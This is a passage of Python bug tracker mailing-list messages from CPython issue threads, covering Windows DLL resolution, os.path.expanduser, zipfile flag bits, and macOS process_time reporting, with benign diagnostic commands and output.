Anyhow, if as you say the only impact is that when a pyd file depends
on a DLL, that DLL needs to be located in one of three places, all of
which are equally valid on Python <=3.7, and there's no impact on the
non-Python part of the embedded application, then it's not a big deal.
Let's make the change, write up those points in What's New (at least),
and leave it at that.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30040] new empty dict can be more small

[Raymond Hettinger]

Change by Raymond Hettinger :


--
nosy: +Mark.Shannon

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35218] decompressing and then re-compressing zipfiles with Python 3 zipfile loses flag_bits

[STINNER Victor]

STINNER Victor  added the comment:

> I will not fill in your agreement form, and no I will not provide my reasons, 
> but you don't need it, it's a one-line fix.

Ok. It's up to you, but in that case, we cannot merge your change. Contributors 
have to sign it. Your test is larger than a single line.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36264] os.path.expanduser should not use HOME on windows

[Steve Dower]

Steve Dower  added the comment:

> If we're going ahead with this, it's worth a mention in whatsnew

Good call. I'll do it

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35854] EnvBuilder and venv symlinks do not work on Windows on 3.7.2

[Steve Dower]

Steve Dower  added the comment:

Yep. Done

--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36272] Recursive logging crashes Interpreter in Python 3

[Karthikeyan Singaravelan]

Change by Karthikeyan Singaravelan :


--
nosy: +vinay.sajip

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35218] decompressing and then re-compressing zipfiles with Python 3 zipfile loses flag_bits

[keeely]

keeely  added the comment:

Can you please get on and fix this if you're going to deprecate Python 2.0.  
It's unkind on your users to deprecate the old version before you've fixed 
basic regressions like this in the new one.  Just to be clear, I am attaching 
the code that reproduces this (tmp.py).   Run it with Python 2 and 3 to see the 
difference.  I will not fill in your agreement form, and no I will not provide 
my reasons, but you don't need it, it's a one-line fix.

--
Added file: https://bugs.python.org/file48205/tmp.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36205] Python 3.7 and 3.8 process_time is not reported correctly when built on older macOS versions

[STINNER Victor]

STINNER Victor  added the comment:

Ah, or maybe use test.pythoninfo:

$ ./python -m test.pythoninfo|grep -E '^(platform|time)'
platform.architecture: 64bit ELF
platform.libc_ver: glibc 2.28
platform.platform: Linux-4.20.13-200.fc29.x86_64-x86_64-with-glibc2.28
platform.python_implementation: CPython
time.altzone: -7200
time.daylight: 1
time.get_clock_info(clock): namespace(adjustable=False, 
implementation='clock()', monotonic=True, resolution=1e-06)
time.get_clock_info(monotonic): namespace(adjustable=False, 
implementation='clock_gettime(CLOCK_MONOTONIC)', monotonic=True, 
resolution=1e-09)
time.get_clock_info(perf_counter): namespace(adjustable=False, 
implementation='clock_gettime(CLOCK_MONOTONIC)', monotonic=True, 
resolution=1e-09)
time.get_clock_info(process_time): namespace(adjustable=False, 
implementation='clock_gettime(CLOCK_PROCESS_CPUTIME_ID)', monotonic=True, 
resolution=1e-09)
time.get_clock_info(thread_time): namespace(adjustable=False, 
implementation='clock_gettime(CLOCK_THREAD_CPUTIME_ID)', monotonic=True, 
resolution=1e-09)
time.get_clock_info(time): namespace(adjustable=True, 
implementation='clock_gettime(CLOCK_REALTIME)', monotonic=False, 
resolution=1e-09)
time.time: 1552405487.361025
time.timezone: -3600
time.tzname: ('CET', 'CEST')

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[Steve Dower]

Steve Dower  added the comment:

Since I just dug enough to find it, the best way to diagnose problems with 
dependent DLLs not being found is probably to run Process Monitor [1] while 
doing the import and checking its logs. It should show the paths that were 
attempted to be accessed.

[1]: http://technet.microsoft.com/en-us/sysinternals/bb896645

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36205] Python 3.7 and 3.8 process_time is not reported correctly when built on older macOS versions

[STINNER Victor]

STINNER Victor  added the comment:

Sorry, I don't understand the problem.

Can someone please give the result of these commands on Python 3.6 and 3.7 on 
macOS?

Example on Linux (Fedora 29):

$ python3
>>> import platform, time
>>> platform.platform()
'Linux-4.20.13-200.fc29.x86_64-x86_64-with-fedora-29-Twenty_Nine'
>>> for clock in ('monotonic', 'perf_counter', 'process_time', 'thread_time', 
>>> 'time'): print(f'clock: {time.get_clock_info(clock)}')
... 
clock: namespace(adjustable=False, 
implementation='clock_gettime(CLOCK_MONOTONIC)', monotonic=True, 
resolution=1e-09)
clock: namespace(adjustable=False, 
implementation='clock_gettime(CLOCK_MONOTONIC)', monotonic=True, 
resolution=1e-09)
clock: namespace(adjustable=False, 
implementation='clock_gettime(CLOCK_PROCESS_CPUTIME_ID)', monotonic=True, 
resolution=1e-09)
clock: namespace(adjustable=False, 
implementation='clock_gettime(CLOCK_THREAD_CPUTIME_ID)', monotonic=True, 
resolution=1e-09)
clock: namespace(adjustable=True, 
implementation='clock_gettime(CLOCK_REALTIME)', monotonic=False, 
resolution=1e-09)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36264] os.path.expanduser should not use HOME on windows

[Zachary Ware]

Zachary Ware  added the comment:

If we're going ahead with this, it's worth a mention in whatsnew as this is 
going to break things for some users.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36266] Which module could not be found?

[Steve Dower]

Steve Dower  added the comment:

I agree. Unfortunately, the operating system does not provide this information.

The best I can offer is to run Process Monitor [1] and watch its logs. It 
should show the paths it attempts to access.

[1]: http://technet.microsoft.com/en-us/sysinternals/bb896645

--
resolution:  -> third party
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36264] os.path.expanduser should not use HOME on windows

[Steve Dower]

Steve Dower  added the comment:


New changeset 25ec4a45dcc36c8087f93bd1634b311613244fc6 by Steve Dower (Anthony 
Sottile) in branch 'master':
bpo-36264: Don't honor POSIX HOME in os.path.expanduser on Windows (GH-12282)
https://github.com/python/cpython/commit/25ec4a45dcc36c8087f93bd1634b311613244fc6


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com